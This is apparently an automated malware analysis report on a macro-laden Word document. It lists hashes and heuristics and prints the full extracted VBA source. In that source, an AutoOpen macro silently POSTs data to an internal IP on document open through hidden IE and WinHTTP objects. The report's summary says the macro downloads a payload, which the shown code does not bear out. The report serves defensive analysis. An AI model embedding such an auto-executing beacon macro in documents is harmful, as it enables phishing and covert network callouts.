Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69e9c23cf2611bb2…

MALICIOUS

Office (OLE)

34.5 KB Created: 2018-04-17 08:26:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 7aebf8e475e2c673d3da93815f8637f9 SHA-1: ef6b547d801152412141d41bb5f4c7b7c0d0fda4 SHA-256: 69e9c23cf2611bb2068deb63fff41ccf572de2526650ebaeae995bd640e7eae3
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The AutoOpen macro is designed to execute code that attempts to download a payload from the embedded URL 'http://10.2.134.3/wxg#####################################################################################################################################'. The document body instructs the user to enable macros, indicating a social engineering lure for initial execution.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.2.134.3/wxg##################################################################################################################################### In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2765 bytes
SHA-256: 0174578d85b14c605bcd21db8a997bdc57aa1c31f4ddffc6da9237f269e27656
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Option Explicit
'Option Base 0
 
Const MAX_ATTEMPTS = 1
Const CONNECTION_TIMEOUT = 60
Const HTTP_READY = 4
 
' Run process
Sub RunProcess(sURL)
    Dim lAttempt, tmr
    
    If InStr(1, sURL, "%lucy_url%") > 0 Then
        Exit Sub
    End If

    lAttempt = 0
    
    ' Post data
    While IEPostData(sURL, "data=RHVtbXkgZGF0YSBmcm9tIEhUVFAtb25seSBtYWNybw==") = False And lAttempt < MAX_ATTEMPTS
        tmr = Timer()

        Do
        Loop Until (Timer() - tmr) > 1

        lAttempt = lAttempt + 1
    Wend
    
    If lAttempt = MAX_ATTEMPTS Then
        WinHTTPPostData sURL, "data=RHVtbXkgZGF0YSBmcm9tIEhUVFAtb25seSBtYWNybw=="
    End If
    
    On Error Resume Next
End Sub
 
' WinHTTP post data
Function WinHTTPPostData(sURL, sData) As String
    On Error Resume Next
    
    Dim objHTTP, strResult
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")

    objHTTP.Open "POST", sURL, False
    objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
    objHTTP.send (sData)
    strResult = objHTTP.responseText
    Set objHTTP = Nothing
    
    WinHTTPPostData = strResult
End Function

' IE post data
Function IEPostData(sURL, sData)
    On Error Resume Next

    Dim dtmp, objIE
    Dim bData() As Byte
    
    ReDim bData(Len(sData) - 1)
    bData = StrConv(sData, vbFromUnicode)
    
    Set objIE = CreateObject("InternetExplorer.Application")
    objIE.Visible = False
    objIE.Navigate sURL, Nothing, Nothing, bData, "Content-Type: application/x-www-form-urlencoded" + Chr(10) + Chr(13)
    
    dtmp = Timer()

    Do
    Loop Until (Not objIE.busy And objIE.ReadyState = HTTP_READY) Or (Timer() - dtmp) > CONNECTION_TIMEOUT
    
    IEPostData = (Not objIE.busy And objIE.ReadyState = HTTP_READY)
    
    objIE.Quit
    Set objIE = Nothing
End Function

' Clean variable string
Function Clean(data)
    If InStr(1, data, "#") > 0 Then
        Clean = Left(data, InStr(1, data, "#") - 1)
    Else
        Clean = data
    End If
End Function

' Main function
Sub AutoOpen()
    Dim sURL
 
    sURL = "http://10.2.134.3/wxg#####################################################################################################################################"
 
    RunProcess Clean(sURL)
End Sub

''